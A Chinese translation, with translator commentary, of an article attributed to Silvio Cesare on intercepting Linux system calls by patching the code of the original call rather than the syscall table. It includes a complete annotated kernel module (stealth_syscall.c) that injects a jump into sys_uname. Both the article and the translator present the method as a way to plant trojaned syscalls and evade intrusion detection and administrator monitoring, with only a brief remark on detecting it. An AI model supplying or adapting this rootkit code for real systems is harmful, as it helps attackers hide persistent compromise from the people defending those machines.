前言:
拿到quack給我的這個文章真是很巧,正在整理分析Linux系統調用的實現源代碼,所以先翻譯一下這
篇文章,然後談一些自己的想法,文章的實現代碼是基於2.0.x內核的,這個code在2.2.x內核上也可以編
譯,主要看實現的原理方法了。
以下是譯文:
by Silvio Cesare <
[email protected]>
譯:大鷹 <
[email protected]>
本文描述了一種可以不利用syscall table來截獲系統調用的方法(在linux的實現),它可以被用來
利用截獲系統調用表注冊或者trojan系統調用來逃避入侵監測系統。它還是一個簡單的發現攻擊行為的方
法。最基本的前提是攻擊時需要改變舊的系統調用來跳轉到新的系統調用,因此控制權交給新的系統調用
並且syscall table並沒有變化。但,如果只有僅僅這些的話,那麼原來的系統調用就很糟糕了,並且執
行起來會非常危險,所以當系統調用創建的時候原來的code必須被保存下來。原來的code被跳轉指針替代
並且系統調用看起來和平常一樣正常運行。在這之後,跳轉指針會再次放置等待下次使用。要發現這種攻
擊手段必須非常小心仔細地比較原系統調用的頭幾個字節來判斷系統調用是否被截獲。
********************************************************************************************
譯者注:我們以前的截獲實現是通過給syscall table注冊一個new的sys call來截獲,現在,新的方
法是我們來修改舊的系統調用的code來實現截獲,加一個跳轉指針指向new的sys call,並不需要添加注冊
到syscall table中,從而可以逃避管理員的監測。
********************************************************************************************
以下是2.0.x的測試代碼,我加以注釋幫助大家理解:
-- stealth_syscall.c (Linux 2.0.35)
#include <linux/config.h>
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/version.h>
#include <linux/utsname.h>
#include <linux/string.h>
#include <asm/string.h>
#include <asm/unistd.h>
#define SYSCALL_NR __NR_uname
static char syscall_code[7];
static char new_syscall_code[7] =
"\xbd\x00\x00\x00\x00" /* movl $0,%ebp */
"\xff\xe5" /* jmp *%ebp */ /*定義新的sys_code,其實就是一
個跳轉指令*/
;
extern void *sys_call_table[];
void *_memcpy(void *dest, const void *src, int size)/*這個應該很熟悉了,在2.0.x內核中定義一
個數據傳遞函數*/
{
const char *p = src;
char *q = dest;
int i;
for (i = 0; i < size; i++) *q++ = *p++;
return dest;
}
/*
uname
*/
int new_syscall(strUCt new_utsname *buf) /*定義新的uname系統調用*/
{
printk(KERN_INFO "UNAME - Silvio Cesare\n");
_memcpy(
sys_call_table[SYSCALL_NR], syscall_code,
sizeof(syscall_code)
);
((int (*)(struct new_utsname *))sys_call_table[SYSCALL_NR])(buf);/*正常運行系統調用
*/
_memcpy(
sys_call_table[SYSCALL_NR], new_syscall_code,/*等待再次使用*/
sizeof(syscall_code)
);
}
int init_module(void) /*加載*/
{
*(long *)&new_syscall_code[1] = (long)new_syscall; /*把新的syscall_code指向
new_syscall*/
_memcpy(
syscall_code, sys_call_table[SYSCALL_NR], /*保存原來的syscall_code*/
sizeof(syscall_code)
);
_memcpy(
sys_call_table[SYSCALL_NR], new_syscall_code, /*好,注入新的code!實現截獲*/
sizeof(syscall_code)
);
return 0;
}
void cleanup_module(void) /*卸載*/
{
_memcpy(
sys_call_table[SYSCALL_NR], syscall_code, /*重新注入新的syscall_code*/
sizeof(syscall_code)
);
}